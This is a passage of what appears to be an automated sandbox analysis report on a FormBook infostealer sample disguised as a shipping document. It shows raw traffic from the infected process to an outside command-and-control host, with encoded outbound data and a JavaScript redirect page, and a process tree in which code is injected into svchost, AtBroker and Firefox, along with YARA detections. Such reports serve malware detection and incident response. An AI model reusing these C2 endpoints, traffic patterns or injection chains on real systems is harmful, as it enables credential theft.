72 4b 61 34 58 69 62 44 4f 2b 58 6d 4f 35 79 69 72 6d 4c 64 42 4b 45 79 42 4d 63 6f 54 41 66 4b 53 74 6f 31 31 58 44 72 46 41 79 75 41 63 75 4d 79 2b 51 42 4f 74 43 59 67 65 38 64 49 72 67 71 72 38 74 41 46 4d 53 4b 78 6d 47 67 4b 74 68 41 78 77 70 79 34 4c 62 53 46 65 38 46 7a 4d 79 51 58 52 6f 58 63 55 46 48 6c 47 54 4c 63 4a 39 49 65 6a 2f 6d 32 74 35 56 43 6d 78 6d 49 47 6f 51 67 30 39 31 41 70 48 32 4f 62 34 67 73 56 77 42 6d 49 6a 4e 5a 56 31 2b 42 41 33 68 4e 4e 4d 59 6d 4c 56 55 31 6d 56 79 32 6c 4b 5a 37 57 71 6c 7a 59 59 32 62 4c 57 68 55 58 36 6f 69 73 45 76 31 64 75 53 41 39 74 43 55 47 44 2f 49 42 70 5a 35 6a 51 58 49 68 32 47 67 75 59 43 31 73 6d 7a 36 31 51 44 4f 55 68 76 62 68 63 4b 39 32 2f 59 36 57 71 7a 66 62 30 6d 48 54 57 69 51 58 43 41 46 4d 45 49 54 73 57 42 4e 5a 47 48 44 43 74 47 42 61 62 56 49 35 6f 63 61 75 38 4e 59 6c 68 41 69 79 48 37 [TRUNCATED] Data Ascii: mFptYb=JB6K6oyIdLi5koAYPoSyn8Zjr7uI/PrJOXLT0G0rKa4XibDO+XmO5yirmLdBKEyBMcoTAfKSto11XDrFAyuAcuMy+QBOtCYge8dIrgqr8tAFMSKxmGgKthAxwpy4LbSFe8FzMyQXRoXcUFHlGTLcJ9Iej/m2t5VCmxmIGoQg091ApH2Ob4gsVwBmIjNZV1+BA3hNNMYmLVU1mVy2lKZ7WqlzYY2bLWhUX6oisEv1duSA9tCUGD/IBpZ5jQXIh2GguYC1smz61QDOUhvbhcK92/Y6Wqzfb0mHTWiQXCAFMEITsWBNZGHDCtGBabVI5ocau8NYlhAiyH7ZD/CAkHsYZtjt6cHJXQFYcVI4Cz0taPM+0EvEFvNtCMjqotnxouZoqBk6r2ScRXG5tbtba/4fjb59IfGTuxhfsRZPcxCD0fgbV/in2OxsFWFMU8geLr/+lTJSa8hza5EPTcqCglDDqXPBWNlDEq1KGODbEldnuUTQbLPZhvg7EfmpXUpAsFF+nZ68dJFwHA7Zsr/OohkRLfeHrljdQtaQrui24kPPfyTxUAgOu6N4C6+DEOmfNmg83uiAp8YvVqPuxIOBYi5DwIvUesX36qDqHahJlef088GgVf3dYYVWGEnrikxuXtWEN/gTv0PYaJtjCVlxlKtnQAD/PBzuM/SefBqfNTJHJozBI8t/WUzJdaVDTUsMK8V3ZWe5ISc/Mkes0zo7OORwVPLG1/vBIm5CwlFg49HwUEe2VduR3TOxjonn3cDk1CxWhDhnYlhMBiL3L5H0QGf4u5ksj2UQIn8aLMpJ9SdtWdl8SWqw6Ome2UYV0w4VrtRo6teK63teLdYK0/p0iUO8V9u1hp8YsyNMNjjTE4swvsofuQKj6AfPCHMlgZRSH7ZeMm0ocn5cspTcJ+SduURWLazbIx1WuGUA5JTpdiXsKurvHwbmomMWimMK5DUU4HFRZuacVzBYuLUNNLLyAf0go1vMV5EqiISLhacBHQCRX4Pid [TRUNCATED]
Nov 7, 2024 10:53:41.136815071 CET	1752	OUT	Data Raw: 6c 6b 71 52 4b 71 6e 50 42 39 45 6c 2b 6e 6c 61 49 2f 46 42 42 44 64 43 30 44 58 44 68 49 35 6a 36 68 71 63 35 6c 68 7a 35 2f 39 63 67 56 47 6c 4b 6a 70 7a 6b 4e 34 36 62 73 53 78 49 79 6f 4f 36 57 47 50 7a 2f 43 48 58 44 66 67 73 54 55 45 6f 62 Data Ascii: lkqRKqnPB9El+nlaI/FBBDdC0DXDhI5j6hqc5lhz5/9cgVGlKjpzkN46bsSxIyoO6WGPz/CHXDfgsTUEobcBU2GiRoL1mbBWUIY7tIUwFy9exRLFBQTUrQ9YuL7XDZ2Oo00/jWI3cCXi7b+n847MUlrl7FKwHU3lDGRSuVnZ31ShxEg2Dvo/YbtlQlM+ITld062mRavKZna+AQBjz9URPWavR/hazPyJbKsSCBPuY/P1bgPPACL
Nov 7, 2024 10:53:41.947027922 CET	688	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 07 Nov 2024 09:53:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Content-Encoding: br Data Raw: 31 62 65 0d 0a a1 10 1a 00 20 ff af a9 a7 2b 8f 74 c8 13 dd 10 d0 7c bb f6 a9 b9 75 32 b3 86 a6 dd 03 37 05 8d 30 d1 54 cf fd e0 65 97 2f 06 9c f0 f3 bf cd 6c 60 03 9d cd 35 7b f6 27 48 3d 38 e6 d6 08 b4 4b 02 db 74 7a 68 d4 08 90 27 35 ed 19 66 13 e5 da 78 da 62 d4 0c 92 1b 37 15 9a b9 d4 6e 85 91 db 06 16 e0 8c 83 a7 97 da fa 21 97 04 71 4c 92 11 35 82 55 59 e7 0e 02 96 ac a5 19 27 e4 1f e2 a1 fb 9f 22 75 ed be 02 f2 0b d7 86 85 a7 17 6a 21 03 d8 35 96 d6 8d 83 03 29 1c fd 95 bf a7 7f b1 da 02 9c 6c b7 ea fb 48 47 a8 04 cb d4 01 c6 d4 43 5a fb 81 7d df fe da 87 21 71 21 04 19 6f ec 93 7f 39 c2 29 ae 30 26 e1 c5 c7 04 1a 05 19 5f 76 d5 1b 32 f9 5f ef 40 01 40 ff 81 3d 67 4c 2b 69 53 a9 b2 2c b7 a5 e4 c2 f0 82 f5 a5 d5 4c a6 ba c4 84 6a 9b b7 a5 28 ca d2 e4 ce 39 c1 4d 21 65 29 64 ca 64 ce 04 d3 a5 f4 22 1d 10 03 28 fe 4e 61 8c 96 c2 38 e9 75 aa 15 cf 58 e1 fb 79 56 72 21 dd 48 6a bb 32 db c6 4e 00 73 80 df de 3a d7 76 80 43 a4 61 82 5d 3f b9 78 8c ad 33 db ef 75 17 18 9a 53 45 35 21 21 ae 51 64 7e [TRUNCATED] Data Ascii: 1be +t\|u270Te/l`5{'H=8Ktzh'5fxb7n!qL5UY'"uj!5)lHGCZ}!q!o9)0&_v2_@@=gL+iS,Lj(9M!e)dd"(Na8uXyVr!Hj2Ns:vCa]?x3uSE5!!Qd~">1t0QNCk>8zWm7Y$-N&a]<1[F=E$fZd!1jjv0F[*3 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.22	49222	185.27.134.144	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:53:43.667028904 CET	533	OUT	GET /04fb/?mFptYb=EDSq5eKeQ/yn+NstHLyKrItwi72t2/2aV0X8lTwCWtszw4+D6CyS+H/PrcNES324cNMrQPmMtrZnBxvMQyG2MZhT0iJG1CcvdKppxy///uoLHwLjuGAXtCom68+z&Vta=nFypuDtholF HTTP/1.1 Host: www.hasthosting.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 7, 2024 10:53:44.473948002 CET	1184	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 07 Nov 2024 09:53:44 GMT Content-Type: text/html Content-Length: 983 Connection: close Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 61 65 73 2e 6a 73 22 20 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 74 6f 4e 75 6d 62 65 72 73 28 64 29 7b 76 61 72 20 65 3d 5b 5d 3b 64 2e 72 65 70 6c 61 63 65 28 2f 28 2e 2e 29 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 65 2e 70 75 73 68 28 70 61 72 73 65 49 6e 74 28 64 2c 31 36 29 29 7d 29 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 74 6f 48 65 78 28 29 7b 66 6f 72 28 76 61 72 20 64 3d 5b 5d 2c 64 3d 31 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 41 72 72 61 79 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 61 72 67 75 6d 65 6e 74 73 2c 65 3d 22 22 2c 66 3d 30 3b 66 3c 64 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 65 2b 3d 28 31 36 3e 64 5b 66 5d 3f 22 30 22 3a 22 22 29 2b 64 5b 66 5d 2e 74 6f 53 74 72 69 6e 67 28 31 36 [TRUNCATED] Data Ascii: <html><body><script type="text/javascript" src="/aes.js" ></script><script>function toNumbers(d){var e=[];d.replace(/(..)/g,function(d){e.push(parseInt(d,16))});return e}function toHex(){for(var d=[],d=1==arguments.length&&arguments[0].constructor==Array?arguments[0]:arguments,e="",f=0;f<d.length;f++)e+=(16>d[f]?"0":"")+d[f].toString(16);return e.toLowerCase()}var a=toNumbers("f655ba9d09a112d4968c63579db590b4"),b=toNumbers("98344c2eee86c3994890592585b49f80"),c=toNumbers("a6343ccb98ce9fb0ba6153f7214689e0");document.cookie="__test="+toHex(slowAES.decrypt(c,2,a,b))+"; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/"; location.href="http://www.hasthosting.xyz/04fb/?mFptYb=EDSq5eKeQ/yn+NstHLyKrItwi72t2/2aV0X8lTwCWtszw4+D6CyS+H/PrcNES324cNMrQPmMtrZnBxvMQyG2MZhT0iJG1CcvdKppxy///uoLHwLjuGAXtCom68+z&Vta=nFypuDtholF&i=1";</script><noscript>This site requires Javascript to work, please enable Javascript in your browser or use a browser with Javascript support</noscript></body></html>

Target ID:	0
Start time:	04:49:41
Start date:	07/11/2024
Path:	C:\Users\user\Desktop\SHIPPING DOC_20241107.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SHIPPING DOC_20241107.exe"
Imagebase:	0x9b0000
File size:	1'536'512 bytes
MD5 hash:	6FC4F6B2894FA46C60C67D2B8DEFD64E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	04:49:42
Start date:	07/11/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SHIPPING DOC_20241107.exe"
Imagebase:	0x860000
File size:	20'992 bytes
MD5 hash:	54A47F6B5E09A77E61649109C6A08866
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.369012864.0000000000370000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.369018456.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.369105032.0000000002980000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Target ID:	3
Start time:	04:49:44
Start date:	07/11/2024
Path:	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe"
Imagebase:	0x1360000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.874128931.0000000004EC0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	4
Start time:	04:49:47
Start date:	07/11/2024
Path:	C:\Windows\SysWOW64\AtBroker.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\AtBroker.exe"
Imagebase:	0x150000
File size:	29'184 bytes
MD5 hash:	3CA2BB895E204478C7A4C9BAF70970CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.873933070.00000000001B0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.873906744.0000000000070000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.873918569.0000000000160000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Target ID:	5
Start time:	04:49:59
Start date:	07/11/2024
Path:	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe"
Imagebase:	0x1360000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.874124663.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	04:50:18
Start date:	07/11/2024
Path:	C:\Program Files (x86)\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Mozilla Firefox\Firefox.exe"
Imagebase:	0xb30000
File size:	517'064 bytes
MD5 hash:	C2D924CE9EA2EE3E7B7E6A7C476619CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.436520319.0000000000080000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true